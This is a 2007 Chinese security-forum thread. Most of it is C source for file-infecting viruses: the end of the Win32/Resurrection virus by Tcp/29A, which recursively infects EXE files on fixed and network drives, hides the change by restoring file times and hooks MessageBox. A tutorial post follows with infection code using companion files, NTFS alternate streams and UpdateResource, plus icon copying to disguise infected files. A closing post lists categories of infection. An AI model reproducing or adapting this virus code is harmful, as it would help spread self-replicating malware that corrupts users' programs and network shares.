     PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
    }
   
    // Check if this is the Import section
    if (i == VirusImportSection)
    {
     IMAGE_IMPORT_DESCRIPTOR * Imports;
     IMAGE_THUNK_DATA * DataImports;
     DWORD StartImports;
     DWORD DeltaRVAs;

     DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
     StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
     Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
     while (Imports->OriginalFirstThunk)
     {
      // Fix some initialized fields in memory
      Imports->TimeDateStamp = Imports->ForwarderChain = 0;
      Imports->OriginalFirstThunk += DeltaRVAs;
      Imports->Name += DeltaRVAs;
      Imports->FirstThunk += DeltaRVAs;
      DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
      do
      {
       DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
      }
      while ((++DataImports)->u1.AddressOfData);
      Imports++;
     }
    }

    WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
    MEMFREE(Ptr);
    Ptr = NULL;
   }
   SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
  }//for
  
  // Recalculate Header fields
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
  PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
  PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
  PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
  PEHeader.OptionalHeader.SizeOfCode = 0;
  PEHeader.OptionalHeader.SizeOfInitializedData = 0;
  PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
  for (j=0; j<PEHeader.FileHeader.NumberOfSections; j++)
  {
   if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
    PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
   if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
    PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
   if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
    PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
  }
  // Write new header and section table
  SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
  WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
  WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
}

L_Exit_Infect:
// Free allocated memory
if (HostRelocs != NULL)
  MEMFREE(HostRelocs);
if (Relocations != NULL)
  MEMFREE(Relocations);
if (Section != NULL)
  MEMFREE(Section);
if (Ptr != NULL)
  MEMFREE(Ptr);
}


///////////////////////////////////////////
// Recursively search for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
HANDLE FindHandle;
HANDLE FHandle;
WIN32_FIND_DATA FindResult;
FILETIME Time1, Time2, Time3;

if (SetCurrentDirectory(Path))
{
  // Search for EXE files in current directory
  if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
  {
   do
   {
    FHandle = CreateFile(FindResult.cFileName,
               GENERIC_READ | GENERIC_WRITE,
               0,
               NULL,
               OPEN_EXISTING,
               FILE_ATTRIBUTE_ARCHIVE,
               NULL
              );
    if (FHandle != INVALID_HANDLE_VALUE)
    {
     GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
     InfectFile(FHandle);             // Infect file
     SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
     CloseHandle(FHandle);
    }
   }
   while (FindNextFile(FindHandle, &FindResult));
  }
  FindClose(FindHandle);
  // Now search for subdirectories and process them
  if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
  {
   do
   {
    if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
    {
     char * DirName;

     DirName = _strupr(_strdup(FindResult.cFileName));
     if (
        (memcmp(DirName, "SYSTEM", 6))  // Skip SYSTEM??
       &&
        (FindResult.cFileName[0] != &#39;.&#39;) // Skip loops with "." and ".."
       )
     {
      SearchFiles(FindResult.cFileName);
     }
     free(DirName);
    }
   }
   while (FindNextFile(FindHandle, &FindResult));
  }
  FindClose(FindHandle);
}
}


/////////////////////////////////////////////
// Search fixed and network drives to infect
/////////////////////////////////////////////
DWORD WINAPI SearchDrives()
{
DWORD Drives;
BYTE CurrentDrive[] = "A:\\";
DWORD DriveType;
BYTE i;

Drives = GetLogicalDrives();
for (i=0; i<sizeof(DWORD); i++)
{
  if (Drives & (1<<i)) // Drive present?
  {
   CurrentDrive[0] = &#39;A&#39; + i;
   DriveType = GetDriveType(CurrentDrive);
   // Only infect files in Fixed and Network Drives
   if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
   {
    SearchFiles(CurrentDrive);
   }
  }
}
return 1;
}


///////////
// Payload
///////////
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
{
char * Msgs[] =
{
  "Hey you, stupid",
  "Win32/Resurrection by Tcp/29A",
  "Warning! Don&#39;t close this window",
  "I already told you this but..."
};
static int i = 0;

return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
}


// Simulated host for 1st generation
void Gen1()
{
MyMessageBox(NULL, "", NULL, MB_OK);
}


// Virus Entry Point
void main()
{
BYTE InfectedFile[_MAX_PATH];
DWORD ThreadID;
DWORD ThreadInfID;
HANDLE HThread;
HANDLE InfThread;
int i;
HMODULE * HandleDLL = NULL;
int ImportedDLLs = 0;


// Get the infected filename
GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
// And its memory address
IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
  
IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);

if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
{
  // Get ptr to Sections
  ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
  // Get ptr to virus Sections
  ISection += FirstVirusSection;

  if (Generation++ == 1)
  {  // Make some easy 1st-gen calcs to avoid complex ones in next generations
   HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
   VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections
   // Get the order of sections
   for (i=0; i<VirusSections; i++)
   {
    if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint)
       &&
      (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint)
      )
    { // This is the code section
     VirusCodeSection = i;
     VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress;
    }
    else
    {
     if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
       &&
      (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
     )
     { // This is the import section
     VirusImportSection = i;
     VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
     }
     else
     {
      if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
      { // This is the reloc section
       VirusRelocSection = i;
       VirusRelocSize = ISection[i].Misc.VirtualSize;
       VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
      }
     }
    }
   }//for
  }
  else // Not first generation
  {
   IMAGE_IMPORT_DESCRIPTOR * HostImports;
   int i;
   
   HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
   // Count imported DLLs
   while (HostImports->OriginalFirstThunk)
   {
    ImportedDLLs++;
    HostImports++;
   }
   HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
   // Make host imports
   HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
   for (i=0; i<ImportedDLLs; i++)
   {
    DWORD * FunctionName;
    DWORD * FunctionAddr;
    LPCTSTR Name;
    LPCTSTR StExitThread = "ExitThread";

    if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL)
    { // Exit if not find a DLL
     char StError[100];

     MEMFREE(HandleDLL);
     sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader));
     MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
     ExitProcess(0);
    }

    // Perform host imports
    FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
    FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader);
    while (*FunctionName)
    {
     if (*FunctionName & IMAGE_ORDINAL_FLAG)
     {
      // Windows doesn&#39;t like ordinal imports from kernel32, so use my own GetProcAddress
      *FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
     }
     else
     {
      Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
      // Change ExitProcess by ExitThread
      if (!strcmp(Name, "ExitProcess"))
       Name = StExitThread;
      // Set payload
      if (!strcmp(Name, "MessageBoxA"))
       *FunctionAddr = (DWORD)&MyMessageBox;
      else
       *FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name);
     }
     FunctionName++;
     FunctionAddr++;
    }
    HostImports++;
   }
  }

  HostEP += (DWORD)IDosHeader;
  // Exec host with a thread
  if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
  {
   HANDLE VirusMutex;
   
   // Check if already resident
   if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL)
      &&
      (GetLastError() != ERROR_ALREADY_EXISTS)
     )
   {
    // Create infection thread
    InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
    // Assign a low priority
    SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
    // Activate it
    ResumeThread(InfThread);
    // Wait until infection completed
    WaitForSingleObject(InfThread, INFINITE);
    ReleaseMutex(VirusMutex);
   }
   // Wait until host thread finnished
   WaitForSingleObject(HThread, INFINITE);
  }

  for (i=0; i<ImportedDLLs; i++)
  {
   FreeLibrary(HandleDLL[i]);
  }
  if (HandleDLL != NULL)
   MEMFREE(HandleDLL);
}
}



[/code]

54sking 2007-7-11 14:11

高级语言实现文件感染的方法


用高级语言感染文件是快速编写功能强大的病毒或者蠕虫的一条途径,本文将讲述近年来出现的一系列高级语言实现的文件感染方法。这里不提任何使用汇编代码和pe文件插入的技术。

一.文件伴侣
所谓文件伴侣病毒,在Windows时代也有一些不同的定义,所谓伴侣就是改名原文件,然后把自己Copy过去覆盖原文件,运行时创建伴侣进程。
原理性代码:
[code]void FrInfect(char *source)
  {
    char frvv[512];
    strcpy(frvv,source);
    strcat(frvv,"vv");
    copyfile(source,frvv,0);
    copyfile(myself,soourc,0);
    return ;
  }
void FrMain()
  {
    char host[512];
    getselfpath(myself); //自身文件全路径,可用GetModuleFileName取
    strcpy(host,myself);
    strcat(host,"vv");//伴侣名字
    CreatePrc(host,GetCommandLine());//创建伴侣进程,不要忘记命令参数传入~~
    search(diskpp)
    {
      FrInfect(diskpp);//伴侣感染
    }
    return ;
  }

[/code]

二.NTFS流伴侣
利用NTFS文件流做伴侣病毒的也是有,比如29A的Benny写的Win2k.Stream病毒,
其实貌似很高深的NTFS流是很简单的东西,大家可以Google出大量相关资料。这里就不多说了,仅以代码说明问题:
TCHAR szMyName[MAX_PATH];//主程序名字~
TCHAR szMyNameR[MAX_PATH];//主程序名字~
TCHAR FileNameA[MAX_PATH]="xx.exe";
  GetModuleFileName(NULL,szMyName,MAX_PATH);
  char *pcmd = GetCommandLine();
  char *torun = strcat(szMyName,":str.exe");
  GetModuleFileName(NULL,szMyNameR,MAX_PATH);
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  GetStartupInfo(&si);
  CreateProcess(torun,pcmd,0,0,0,0,0,0,&si,&pi);
  MessageBox(NULL,"这是一个病毒,你可以选择齐腰感染的文件,也可不选~","概念流病毒1.0",0x1000);
  OPENFILENAME file = {0};
  file.lStructSize = sizeof(file);
  file.lpstrFile = FileNameA;
  file.nMaxFile = MAX_PATH;
  file.lpstrFilter = "EXE Files(*.exe)\0*.exe\0All Files\0*.*\0\0";
  file.nFilterIndex = 1;
  if (::GetOpenFileName(&file))
  {
    HANDLE op=CreateFile(FileNameA,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
    DWORD ssize = GetFileSize(op,NULL);
    if(GetFileAttributes(FileNameA)!=0x800)
    {
      MessageBox(NULL,"Only NTFS System Support","Warning",0x1000);
      CloseHandle(op);
      return -1;
    }
    //DeviceIoControl(op,)
    char *ptr = (char *)malloc(ssize);
    DWORD rd = 0;
    ReadFile(op,ptr,ssize,&rd,NULL);
    CloseHandle(op);
    CopyFile(szMyNameR,FileNameA,0);
    char *pp = strcat(FileNameA,":str.exe");
    HANDLE opf=CreateFile(FileNameA,GENERIC_READ|GENERIC_WRITE,NULL,NULL,CREATE_NEW,NULL,NULL);
    if(opf!=INVALID_HANDLE_VALUE)
    {
      WriteFile(opf,ptr,ssize,&rd,NULL);
      CloseHandle(opf);
    }
  }



三.UpDataResource方法
  UpDataResource的方法初见于Nimda病毒,此后被某些蠕虫一再的应用,其实其主要的技术要点就是Win2k以后的Windows版本的api ,UpDataResource,这个函数可以用来更新自己的资源,从而达到把文件写入自身的目的,具体事例代码:
char syspath[256];
TCHAR src[MAX_PATH]="xx.exe";
TCHAR szMyName[MAX_PATH];
TCHAR szTempFileA[MAX_PATH];
TCHAR szTempFileB[MAX_PATH];
  GetSystemDirectory(syspath,256);
  GetModuleFileName(NULL,szMyName,MAX_PATH);
  HANDLE hFile;
  DWORD dwFileSize,   
    dwBytesRead;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  MessageBox(NULL,"这是一个病毒,你可以选择感染的文件,也可不选~","演示病毒UpadatResource 1.0",0x1000);
  GetTempFileName(syspath,"vic",0,szTempFileA);
  GetTempFileName(syspath,"host",0,szTempFileB);
  CopyFile(szMyName,szTempFileA,0);
  HMODULE hLibrary;
  HRSRC hResource;
  HGLOBAL hResourceLoaded;
  LPBYTE lpBuffer;
  hLibrary = LoadLibrary(szTempFileA);
  if (NULL != hLibrary)
  {
    hResource = FindResource(hLibrary, MAKEINTRESOURCE(104), RT_RCDATA);
    if (NULL != hResource)
    {
      hResourceLoaded = LoadResource(hLibrary, hResource);
      if (NULL != hResourceLoaded)   
      {
        lpBuffer = (LPBYTE) LockResource(hResourceLoaded);      
        if (NULL != lpBuffer)      
        {        
          DWORD dwBytesWritten;
          dwFileSize = SizeofResource(hLibrary, hResource);
          hFile = CreateFile(szTempFileB,
            GENERIC_WRITE,
            0,
            NULL,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL);

          if (INVALID_HANDLE_VALUE != hFile)
          {
            WriteFile(hFile, lpBuffer, dwFileSize, &dwBytesWritten, NULL);

            CloseHandle(hFile);
          }
          GetStartupInfo(&si);
          CreateProcess(szTempFileB,GetCommandLine(),NULL,NULL,NULL,NULL,NULL,NULL,&si,&pi);
        }
      }  
    }

    FreeLibrary(hLibrary);
  }
  OPENFILENAME file = {0};
  file.lStructSize = sizeof(file);
  file.lpstrFile = src;
  file.nMaxFile = MAX_PATH;
  file.lpstrFilter = "EXE Files(*.exe)\0*.exe\0All Files\0*.*\0\0";
  file.nFilterIndex = 1;
  if (::GetOpenFileName(&file))
  {
  hFile = CreateFile(src, GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
    dwFileSize = GetFileSize(hFile, NULL);

    lpBuffer = new BYTE[dwFileSize];

    if (ReadFile(hFile, lpBuffer, dwFileSize, &dwBytesRead, NULL) != FALSE)
    {
      hResource = (HRSRC)BeginUpdateResource(szTempFileA, FALSE);
      if (NULL != hResource)
      {
        if (UpdateResource(hResource,
          RT_RCDATA,
          MAKEINTRESOURCE(104),
          MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
          (LPVOID) lpBuffer,
          dwFileSize) != FALSE)
        {
          EndUpdateResource(hResource, FALSE);
        }
      }
    }
    delete [] lpBuffer;   
    CloseHandle(hFile);
    CopyFile(szTempFileA,src,0);//Any Thing is every thing~
    Sleep(1000);
    DeleteFile(szTempFileA);
    while(!DeleteFile(szTempFileB)) ;
  }
  }

附录:图标同步
  上述的方法基本上已经实现了感染文件,我们现在研究一下图标同步,其实了解PE结构的人可以很快的处理这类问题,我们这里就不说什么了,仅仅为了方便给出代码:
DWORD dwIconSize=0;
DWORD dwWritePos=0;
/*
函数:获取文件中图标所在位置
*/
void GetPos(TCHAR m_path[MAX_PATH])
{
  dwIconSize=0;
  dwWritePos=0;

  _IMAGE_DOS_HEADER dosHead;
  _IMAGE_NT_HEADERS ntHead;
  _IMAGE_SECTION_HEADER secHead;


  //读取PE Header
  DWORD dwBytesRead;
  HANDLE fp = CreateFile(m_path, GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
  ReadFile(fp,&dosHead,sizeof(_IMAGE_DOS_HEADER), &dwBytesRead, NULL);
  SetFilePointer(fp,dosHead.e_lfanew,NULL,FILE_BEGIN);
  ReadFile(fp,&ntHead,sizeof(_IMAGE_NT_HEADERS),&dwBytesRead,NULL);



  /*查找.rsrc节,移动文件指针到.rsrc节开始的位置*/
  for(int i=0;i<ntHead.FileHeader.NumberOfSections;i++)
  {
    ReadFile(fp,&secHead,sizeof(_IMAGE_SECTION_HEADER),&dwBytesRead,NULL);
    if(strcmp((char*)secHead.Name,".rsrc")==0)
    {
      break;
    }
  }

  _IMAGE_RESOURCE_DIRECTORY dirResource;
  SetFilePointer(fp,secHead.PointerToRawData,NULL,FILE_BEGIN);
  //读取资源根节点开始的位置
  DWORD pos=secHead.PointerToRawData;
  ReadFile(fp,&dirResource,sizeof(_IMAGE_RESOURCE_DIRECTORY),&dwBytesRead,NULL);
  _IMAGE_RESOURCE_DIRECTORY_ENTRY entryResource;
  _IMAGE_RESOURCE_DIRECTORY dirTemp; //第二层
  _IMAGE_RESOURCE_DIRECTORY_ENTRY entryTemp;
  _IMAGE_RESOURCE_DIRECTORY dirTempICON; //第三层
  _IMAGE_RESOURCE_DIRECTORY_ENTRY entryTempICON;
  _IMAGE_RESOURCE_DATA_ENTRY entryData; //资源入口
  for(i=0;i<dirResource.NumberOfIdEntries+dirResource.NumberOfNamedEntries;i++)
  {
  ReadFile(fp,&entryResource,sizeof(_IMAGE_RESOURCE_DIRECTORY_ENTRY),&dwBytesRead,NULL);
    if(entryResource.Name==3)//该资源是图标
    {
      
      SetFilePointer(fp,pos+entryResource.OffsetToDirectory,NULL,FILE_BEGIN);
            ReadFile(fp,&dirTemp,sizeof(_IMAGE_RESOURCE_DIRECTORY),&dwBytesRead,NULL);
      for(int k=0;k<dirTemp.NumberOfIdEntries;k++)//遍历各个入口点指示的目录
      {        ReadFile(fp,&entryTemp,sizeof(_IMAGE_RESOURCE_DIRECTORY_ENTRY),&dwBytesRead,NULL);
        if(entryTemp.DataIsDirectory >0) //还有子目录
        {
        SetFilePointer(fp,pos+entryTemp.OffsetToDirectory,NULL,FILE_BEGIN);
  ReadFile(fp,&dirTempICON,sizeof(_IMAGE_RESOURCE_DIRECTORY),&dwBytesRead,NULL);
  ReadFile(fp,&entryTempICON,sizeof(_IMAGE_RESOURCE_DIRECTORY_ENTRY),&dwBytesRead,NULL);
  SetFilePointer(fp,pos+entryTempICON.OffsetToData,NULL,FILE_BEGIN);
  ReadFile(fp,&entryData,sizeof(_IMAGE_RESOURCE_DATA_ENTRY),&dwBytesRead,NULL);
          if(entryData.Size >=744)//找到第一个图标
          {
            break;
          }
        }
      }
    }
  }
  CloseHandle(fp);
  dwIconSize=entryData.Size;//图标大小
  dwWritePos=pos+entryData.OffsetToData - secHead.VirtualAddress;//图标起始位置

}


/*
函数:修改图标
*/
void ModifyIcon(TCHAR szDst[256],TCHAR szSrc[256])
{
  DWORD SrcWritePos,SrcWriteSize,DstWritePos,DstWriteSize;
  char* SrcBuf;

  GetPos(szSrc);
  SrcWritePos=dwWritePos;
  SrcWriteSize=dwIconSize;

  GetPos(szDst);
  DstWritePos=dwWritePos;
  DstWriteSize=dwIconSize;

  if(DstWriteSize<SrcWriteSize)
  {
    return;
  }

  /*读取宿主文件图标数据*/
  DWORD dwBytesRead , dwByteWritten;
  HANDLE fp = CreateFile(szSrc, GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
  SetFilePointer(fp,SrcWritePos,NULL,FILE_BEGIN);
  SrcBuf = new char [SrcWriteSize];
  ReadFile(fp,SrcBuf,SrcWriteSize,&dwBytesRead,NULL);
  CloseHandle(fp);
  //写入~
  HANDLE  ff= CreateFile(szDst,GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  SetFilePointer(ff,DstWritePos,NULL,FILE_BEGIN);
  WriteFile(ff,SrcBuf,SrcWriteSize,&dwByteWritten,NULL);
  CloseHandle(ff);
}

Robinh00d 2007-7-12 15:12

vxk:
插入式::
插入一段代码来运行主体
如花猫的THUNK iNJECT
包含式::
通过把目标整到自己的资源节里并替代目标的方法
如nIMDA的方法
合并式::
把自己和目标合并,并产生一个用于分开运行自己和目标的主体
如一般的BINDEXE
放入dll式::
修改iMPORT的dll,加入一个病毒自己改成的dll,如mYvIRUS2(不知道还有没有样本在了)
特殊感染式::
把自己彻底插入目标,非常复杂
如wIN32.rESUrreCTiON
双语混合式
用汇编写一个感染的模块或者处理自己运行的模块,如KUANG2,Mincer的Delphi写的那个...

还有修改e_lfnew

页: [1]
© 1999-2008 EvilOctal Security Team